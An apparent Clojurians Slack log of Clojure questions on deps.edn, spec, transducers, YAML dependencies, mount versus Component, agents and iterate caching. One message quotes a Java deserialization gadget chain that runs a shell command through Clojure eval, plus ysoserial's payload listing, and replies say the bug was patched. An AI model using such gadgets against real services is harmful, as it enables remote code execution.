Fork me on GitHub

Does anyone have enough experience with deps.edn to know how to run it in a debugger effectively? I'm trying to make local coordinates work but I am not having much luck, and the error message isn't very useful.


It works for me just fine in Cursive. But without any error messages, even the ones that you deem the most useless ones, it's impossible to tell anything.


Thanks - I ended up figuring it out. It's the sort of thing where a spec for the deps format would be helpful, so that it could help me identify the syntactic errors.


@U2FRKM4TW It's not clojure, but understands edn, and can be used to write tests against deps.edn. It is based on which is used a lot with kubernetes. There are also mechanisms for having standard sets of tests that can be installed, although I've not used that yet. It would mean that it would only have to be written once.

๐Ÿ‘ 4

You probably wanted to tag pmooser. :)


@U07VBK5CJ You can check deps.edn with conftest, see my above comment.

Diego Guraieb09:03:18

Hello Everyone, how would you define a map of functions with key as keywords using spec?


Hey, I pretty often stumble upon issue like :

Caused by: java.lang.NoClassDefFoundError: com/stuartsierra/component/Lifecycle


I always somehow deal with it, but it's like heisenbug.


No single solution ever helps, frustrated I try to change everything and suddenly it works.

Diego Guraieb09:03:34

@teodorlu thanks, using fn? works fine. I was trying with fspec..


Glad to hear that! fspec should allow you to put a spec on a single function, and be more precise than just saying "it's a function".

Diego Guraieb10:03:11

@teodorlu found the error, fspec depends also on [org.clojure/test.check "0.9.0"]

๐Ÿ‘ 4

Does Clojure implicitly deref as deeply as it needs in its eval phase when it evals a var?

user=> (def m #'map)
user=> m
user=> map
#object[clojure.core$map 0x2b27cc70 "clojure.core$map@2b27cc70"]
user=> (m inc (range 3))
(1 2 3)
user=> (#'m inc (range 3))
(1 2 3)
user=> (type #'m)
user=> (type m)
user=> (type (deref m))
Edit: from what I can tell, yes.


Hi, I am using transducer for processing data, but I have a struggle with inputs, I made simple example to show what I need:

(def input [:a :b :b :a :b :a :a :a :b :b])
(def output [[:a :b :b] [:a :b] [:a] [:a] [:a :b :b]])
basically I have some input stream and I need to regroup them as shown, so if there is :b I need to append it to last group, if :a create a new group. I could reduce input collection into output but I dont want to process all input data before sending it down to processing pipe, can anyone point me to right direction?

Chris Oโ€™Donnell12:03:37

The problem of doing that transformation from input to output is orthogonal from the timing of when the input is consumed. One approach would be to create a lazy sequence with the output. You could do that without transducers with:

(->> input
  (partition-by #{:a})
  (partition-all 2)
  (map (fn [[a bs]] (vec (concat a bs)))))
or using transducers with:
    (partition-by #{:a})
    (partition-all 2)
    (map (fn [[a bs]] (vec (concat a bs)))))
Hard to say more without more context about what you're doing.


Only did minimal testing, but something like this might suit your needs

(defn my-transducer [rf]
  (let [state (volatile! [])]
      ([] (rf))
       (if-let [val (not-empty @state)]
         (do (vreset! state nil)
             (rf end val))
         (rf end)))
      ([result item]
       (if (and (seq @state) (= :a item))
         (let [val @state]
           (vreset! state [:a])
           (rf result val))
         (do (vswap! state conj item)

โค๏ธ 4

I have broken CSV input, when line is not starting with some string I need to append it to last line, then in processing line I parse CSV, due to large size of CSV file I need to process it line by line basically, whole CSV file has giga bytes in size.


@UARBFQGVB I think this is exactly what I need, I am still new to transducers so thank you very much


@UARBFQGVB whatโ€™s the choice of voltaile! over transient here ?


That's an interesting question. Honestly, I didn't think too hard about it, but I'm not really building a collection. I'm storing some temporary state and then wiping it out repeatedly. Wouldn't have occurred to me to use a transient for that. Perhaps there's a benefit I'm not aware of.


When using spec, what do you guys do with the namespaced keywords? I would prefer using a real namespace, but sometimes that forces you to define specs in awkward ways, so I've recently started using the :foo/bar form where foo is a concept, not necessarily a real namespace. Is this something that will be affected in spec 2?


How realistic are these Java object deserialization exploits in Clojure?

final String clojurePayload = String.format("(use '[ :only [sh]]) (sh %s)", cmd);

Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0));

AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();

HashMap<Object, Object> targetMap = new HashMap<Object, Object>();
targetMap.put(model, null);

		new clojure.core$comp().invoke(
		new clojure.main$eval_opt(),
		new clojure.core$constantly().invoke(clojurePayload)));
When can they occur?

Alex Miller (Clojure team)14:03:18

This was fixed in Clojure 1.7 (I think?)


1.8 is dependency:

Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0


Ahh I see thanks ๐Ÿ™‚


Thank you that helps

Alex Miller (Clojure team)14:03:06

we also reviewed and considered other possible similar vectors and didn't find anything else


are there any pure Clojure yaml parsing/generating libraries without the SnakeYAML dep?


or is YAML that hard to parse, that we should rely on something Java-ish?

Lennart Buit15:03:46

IIRC, YAML is full of quirks


Yaml is pretty funky.


even json is valid yaml ๐Ÿ˜„


you can mix it in with the other bits of yaml on the fly


I'm asking since adding clj-yaml (based on SnakeYML) adds 2.5mb to the size of babashka and I'm wondering if this is worth it

๐Ÿ˜ต 12

also I'm starting to run out of memory on CircleCI because of the amount of libraries... migration to Github actions almost done, but still...


Reimplementing anything where Norway is considered false is not worth doing.

๐Ÿ˜‚ 4
Ben Sless16:03:58

Maybe if YAML had a human readable bnf you could have used instaparse but instaparse doesn't like things like s-space ::= #x20


@U04V15CAJ i wonder if you could reach out to Circle and get some sponsorship and some more space


They didn't say no, they have been looking into it. But I've been asking several times now.


that's disappointing


I guess they're just busy ๐Ÿ˜‰


Why does clj-yaml pull in all these dependencies?

Run lein deps
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.pom from clojars
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.pom from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.pom from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.pom from clojars
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.pom from central
Retrieving org/clojure/pom.contrib/0.0.20/pom.contrib-0.0.20.pom from central
Retrieving org/clojure/clojure/1.3.0-alpha5/clojure-1.3.0-alpha5.pom from central
Retrieving org/clojure/tools.reader/0.7.2/tools.reader-0.7.2.pom from central
Retrieving org/clojure/pom.contrib/0.0.26/pom.contrib-0.0.26.pom from central
Retrieving org/yaml/snakeyaml/1.24/snakeyaml-1.24.jar from central
Retrieving org/clojure/tools.macro/0.1.1/tools.macro-0.1.1.jar from central
Retrieving org/flatland/ordered/1.5.7/ordered-1.5.7.jar from clojars
Retrieving org/flatland/useful/0.11.6/useful-0.11.6.jar from clojars
Retrieving clj-commons/clj-yaml/0.7.0/clj-yaml-0.7.0.jar from clojars
That seems quite a lot for some simple back and forth transformation library?


if you don't depend on clojure 1.3.0-alpha5 can you really be a production-ready library?


Iโ€™d be more than happy with a PR which cleans up the deps.


I understand. I'm not really working with YAML in Clojure myself. Just though I could make a couple of people happy with adding this.


YAML doesn't really spark that much joy to be honest ๐Ÿ™‚


Thing is that clj-yaml pulls in flatland.ordered in order(sic) to get ordered-map and ordered-set


and that pulls in flatfland.useful which might be a tad too much?


I mean, if I write a library, I'm not going to depend on medley if I'm just going to use one helper function from that


it seems flatland.ordered is also under clj-commons


So it might be feasible to either copy the implemntations of ordered-map/ordered-set or replace them all together


this seems to be a competitor with flatland.ordered:


(with no deps)


Should be fairly trivial to make flatland.ordered not depend on useful


Probably safer.


did it work despite the travis warnings?


I round-tripped a large yml file with frankiesardo/linked and with flatland. the output is identical:

(spit "/tmp/foo.yml" (yaml/generate-string (yaml/parse-string (slurp ".github/workflows/build.yml"))))


Hey @U04V15CAJ, I'm the one who made the initial request, and I'm sorry it's ballooned into so much work. ๐Ÿ˜ž If there's anything I can help with, please let me know.


One of the really tricky bits about yaml is things like node anchors.


If you'd like help cleaning up deps in snakeyaml, or something similar, again, please let me know.


@U09M90GKX it's ok, we're just learning and trying stuff here ๐Ÿ™‚


@U09M90GKX Do you have any preference between clj-yaml and ?


@U04V15CAJ Not off the top of my head. I've used several, but only lightly.


I just do lot's of work with kubernetes, and trying to get it and clojure to play nicer together. I submitted a talk to last year's kubecon called "Kubernetes and Clojure; the data driven orchestrator meets the data oriented programming language." But didn't get it accepted. ๐Ÿ˜ข


(in the sense that it tries to combine the data driven approach of Clojure with docker stuff)


Yea, that's on my watch list. There's a lot of possibilities out there now. IIRC, Alex did a new git library, there's good drivers for docker, stuff like martian for openapi interaction, which is what k8s uses....


skaffold for kubernetes is a great development tool, and can be used via cli or api. I want to try controlling it as part of a project-management-repl type tool.


right now I'm working on aero/clip/dirwatch with k8s, which is going nicely, but still has a day or two in order to finish what I needed out of it.


I want to put out a repo with and example clojure service and the advanced details of dev/prod on k8s. Kinda literate style.


IIRC there is a talk by a very young Clojure developer on youtube? Does anyone have a reference to the video or the developer?


Could also be this one. Not "very young" though.

๐Ÿ‘ 4

I was not thinking of Anthony. I think the video was quite recent, so unless there is somebody else it could have well been Connie. Thanks!


yeah this was Heart of Clojure last year and had the absolute pleasure to see her live! ๐Ÿ˜„

Ivar Refsdal17:03:55

What do people use for visualizing Clojure data structures (JVM-land)? Are there any good alternatives to walmartlabs/datascope?


Are you looking for Clojure-level view, or you want to see internal implementation details at the JVM level, e.g. how Clojure values are represented as JVM objects?

Ivar Refsdal17:03:21

Clojure-level view


For Clojure-level view, REBL is interesting.

Ivar Refsdal17:03:10

Ah, good suggestion. I will check that out.


It does not draw pictures the way data scope does -- more a kind of interactive exploration of values, able to dive deep into nested collections, and other things.


I haven't used rebl, but the the functions in the clojure.inspector ns (specifically inspect-tree) has been useful and quick for one-off investigations.

Ivar Refsdal08:03:25

I added clojure.lang.Symbol as well as tools.deps support to datascope in my fork here: This was the original reason I asked actually, because datascope did not support clojure.lang.Symbol

Ivar Refsdal08:03:29

inspect-tree of clojure.inspector was pretty neat. Thanks ๐Ÿ™‚


so, I have a lower level state namespace containing all of my application state. I have two other namespaces that have mount states. An incoming state change in one of the upper level namespaces would require restarting a service (state) in the other namespace. How do I best model that with mount (and avoid circular dependencies)? (asked already on #mount but that channel doesn't seem too active)

Ben Grabow22:03:34

When you say "upper level" do you mean leaves or root of the namespace tree?

Ben Grabow22:03:53

Generally to work around circular dependencies in components I start adding function parameters to the component lifecycle functions. So if component A depends on component B, I take B as an argument when starting A rather than directly referencing it. Then you use some root-level namespace to invoke mount/start as needed and wire things up together.

Ben Grabow22:03:52

And if a state change in component A needs to trigger a change to another component, I might consider implementing that in the root-level namespace. Make component A return a channel then push the relevant state changes onto the channel. Then the root-level namespace listens on that channel and restarts/wires-up the restarted components as necessary.


upper level, as in closer to root. it's like my state namespace is a shared leaf node. it just collects state. Starting components with arguments is all clear. but in this case, a state change requires restarting component A. I solved it by implementing a marker service B in the leaf and listening to its state in A with mount up/down listener but yeah a generic channel would work too


and thanks for comments!

Ben Grabow14:04:55

Hmm, I think you've helped me realize that the thing I don't like about mount is that it holds its state in the leaf nodes. This turns the functional-core/imperative-shell idiom on its head and puts the imperative, stateful stuff in the core where it doesn't belong. It also requires your leaf namespaces to know about each other if you want your stateful components to interact, which is a dependency nightmare as you see.

Ben Grabow14:04:12

I've been gravitating towards SS Component lately and I think I now consciously know the intuitive reason why; Component effectively has you define factory functions in your leaf namespaces but holds the system state in the root level.

Ben Grabow14:04:35

There are ways you can work around having state in the leaves of your system but none of them are going to be great because this is a fundamental design problem. (Not trying to browbeat you - I have been making this mistake myself.)


Yes, I've come to realize this core difference between mount and component. there's also mount-lite that uses inferred dependencies to solve this. I have not used either, thought about switching but so far haven't


but looks like even mount-lite's inferred dependency doesn't quite solve my case (reading it would automatically start inferred dependencis, but I wouldn't be able to stop them without an explicit reference as I understand it, because it's all based on namespaces

Ben Grabow16:04:15

I don't know much about mount-lite but in mount I would mount/only to explicitly list the components I want.

Ben Grabow16:04:56

I haven't found a good way to compose mount components together without explicit references to everything.


I have currently two lein profiles in my project, dev and test , both defined in project.clj if I run lein test all my tests are passing, but if from cider I run tests with cider-test-run-focused-test , the dev profile gets loaded and the tests fail any suggestions on how to solve this issue? I could start this repl using the test profile but this doesnt integrate very well with the REPL workflow


The :dev profile is used to specify project specific development tooling. Put things here if they are required for builds or tests, rather than just convenience tooling.


what does it mean for maven to have a pom but not an artifact? clj -Sdeps '{:deps {org.apache.logging.log4j/log4j {:mvn/version "2.13.1"}}} results in > Downloading: org/apache/logging/log4j/log4j/2.13.1/log4j-2.13.1.pom from central > Error building classpath. Could not find artifact org.apache.logging.log4j:log4j:jar:2.13.1 in central (


it can't find the jar, maybe check the name

Alex Miller (Clojure team)21:03:00

despite what it says there I think it's log4j-api

Alex Miller (Clojure team)21:03:12

$ clj -Sdeps '{:deps {org.apache.logging.log4j/log4j-api {:mvn/version "2.13.1"}}}'
Downloading: org/apache/logging/log4j/log4j-api/2.13.1/log4j-api-2.13.1.pom from central
Downloading: org/apache/logging/log4j/log4j-api/2.13.1/log4j-api-2.13.1.jar from central


i've also hit an impressive number of 404s in their official documentation

Alex Miller (Clojure team)21:03:43

oh, that thing you linked is only the parent pom used for the actual jars

Alex Miller (Clojure team)21:03:00

so it would find that pom, but there is no jar


having a bit of trouble answering my own question here, hoping to gain some some insight from the wonderful #clojurians. im having trouble chasing down whether (and if so, how) an agent's actions get queued.! seems to indicate that there is some sort of queuing mechanism, but the agent docs don't mention it. the guide ( says dispatches get held, which is more evidence that there is something going on. looking through the code doesn't immediately reveal the answer (although i admittedly gave up pretty early). is it somehow embedded within the STM? thats the sense i get from my cursory digging


and from there, we can go to the send-off function, which in turn uses send-via to invoke the java code above:

(ins)user=> (source send-off)
(defn send-off
  "Dispatch a potentially blocking action to an agent. Returns the
  agent immediately. Subsequently, in a separate thread, the state of
  the agent will be set to the value of:

  (apply action-fn state-of-agent args)"
  {:added "1.0"
   :static true}
  [^clojure.lang.Agent a f & args]
  (apply send-via clojure.lang.Agent/soloExecutor a f args))
(ins)user=> (source send-via)
(defn send-via
  "Dispatch an action to an agent. Returns the agent immediately.
  Subsequently, in a thread supplied by executor, the state of the agent
  will be set to the value of:

  (apply action-fn state-of-agent args)"
  {:added "1.5"}
  [executor ^clojure.lang.Agent a f & args]
  (.dispatch a (binding [*agent* a] (binding-conveyor-fn f)) args executor))


so we can go to the .dispatch method of agent to see what send-off really does...


most of your answers will come from the doc of the clojure functions (for high level behavior descriptions) and the java code (for the actual mechanics implementing the behavior)


ah, wow. thank you so much @U051SS2EU ๐Ÿ™. this is exactly what i was hoping for


this makes a ton of sense. i didnt think to look at the java impl, ๐Ÿ˜ต apologies on that. definitely something ill seek next time.

Alex Miller (Clojure team)23:03:03

I think I wrote some stuff in Programming Clojure about this, but not at a computer to verify

๐Ÿ‘ 4
wizard 4

i just picked up a copy of elements, not sure why i havent pulled down this one as well. rectification imminent


@alexmiller is there a prefered source of acquisition? sometimes it makes a difference...

Alex Miller (Clojure team)23:03:01

I prob get the most from pragprog directly but whatever

๐Ÿ™ 4
sheepy 4
๐Ÿ‘ 4
Alex Miller (Clojure team)23:03:39

They make great gifts - buy 10!


perfect. thanks @alexmiller!


The doc for iterate mentions f must be free of side effects. I wonder why that is? I understand the general caveats of lazy seqs and side effects, but not all lazy seq creating fns have this explicit warning, like repeatedly and lazy-seq do not. The only other fn I know has this warning is swap!, and in that case, its because f can be called more than once as it retries, which makes sense. But for iterate, I'm not really able to see why? Is there a similar case where f might be retried?


Basically, I feel like iterate actually seems it can work with a side-effecting f, but before I do, I need to double check why this warning is here.


I like to use iterate to build pseudo generators, with carried over state. And I don't see why I couldn't use it for say iterating over lines in a file, or some fetching of some data over the network

Alex Miller (Clojure team)23:03:22

seq and reduce on iterate will not share computed values

Alex Miller (Clojure team)23:03:48

So if you do both, with side effects, life will be weird for you


Hum, can you explain what you mean by share computed values?

Alex Miller (Clojure team)23:03:35

If you seq and reduce the same iterate instance, all the side effects will happen twice


Hum... interesting. So iterate is non caching?

Alex Miller (Clojure team)23:03:05

The seq itself is (by requirement) but for perf, the reduction doesnโ€™t use it


user=> (let [stuff (iterate #(do (println %) (inc %)) 0)]
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
the prints happen for both take and reduce

Alex Miller (Clojure team)23:03:28

Which, if there are no side effects, is perfectly fine


So, if I return a (seq (iterate ...) it should be fine, but if I return the instance of clojure.lang.Iterate then every seq or reduce over it always starts back from the beginning, is that it ?


user=> (let [stuff (iterate #(do (println %) (inc %)) 0)]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
user=> (let [stuff (seq (iterate #(do (println %) (inc %)) 0))]
(println (take 10 stuff))
(println (take 10 stuff))
(println (reduce (fn [acc n] (if (< 10 n) (reduced acc) (+ acc n))) 0 stuff)))
0 1
1 2
2 3
3 4
4 5
5 6
6 7
7 8
8 9)
(0 1 2 3 4 5 6 7 8 9)
The two take calls get to take advantage of the underlying seq in both cases but reduce does not in either case.

Alex Miller (Clojure team)23:03:59

Seq will cache as with everything else


clojure 1.11 is slated to get some kind of iterate for side effects (if the fix versions on the ticket is still accurate)


Ok, so I guess I should favor using lazy-seq instead then, its just I find the ergonomics of iterate are nicer


If that's true, that be nice, for a side-effecting iterate in Clojure 1.11


the ticket has a number of different patches on it for different kinds of unfolding functions


But, also, if I understand correctly, it should be safe to return (seq (iterate f)) with a side effecting f, since no one else can call seq or reduce on the Iterate again


The seq protects the Iterate from being iterated over more than once basically


user=> (def x (iterate identity 100))
user=> (identical? x (seq x))


yeah, beat me to it - seq doesn't make a new object here

user=> (type (seq (iterate inc 0)))


maybe cons would be enough to "fool" the dispatch though


@didibus Check the thread where I replied to you showing that seq doesn't affect reduce


Hum, ya okay I see


So the only culprit is reduce


reducing over an Iterate does not behave like reducing over a seq, even if Iterate is a seq


Is that for performance?


Above, Alex said it was for performance.


Oh, I think I missed that


I'm not sure in this case I find the constraint worth the gains. But its because I'm not really thinking of many scenarios where'd I'd benefit


I guess if I want to reduce over fibonacci, and avoid intermediate structures


But then again, there's so many edge case, if you apply any other sequence fn on it, like a map or filter, it'll cache and you won't be working of the Iterate anymore


Seems it just made things complicated for not much


It can be complicated if you want to understand all of the reasons why something was done, and/or what the performance implications are. If you just want to use the function correctly, the doc string gives a pretty concise explanation of the restriction.


Ya, I'm not trying to judge, it just makes me wonder what scenario motivated such performance enhancements, and if I've ever been in one where I could have leaned on iterate for it


I mean seems like the whole Iterate class is only there to have a special reduce logic implemented:

Alex Miller (Clojure team)01:03:37

Yes, that is the primary reason it exists (was added along with optimized range, cycle, repeat in 1.7 to support optimized reduce for transducers)


Ah for transducer I can see it making sense, thx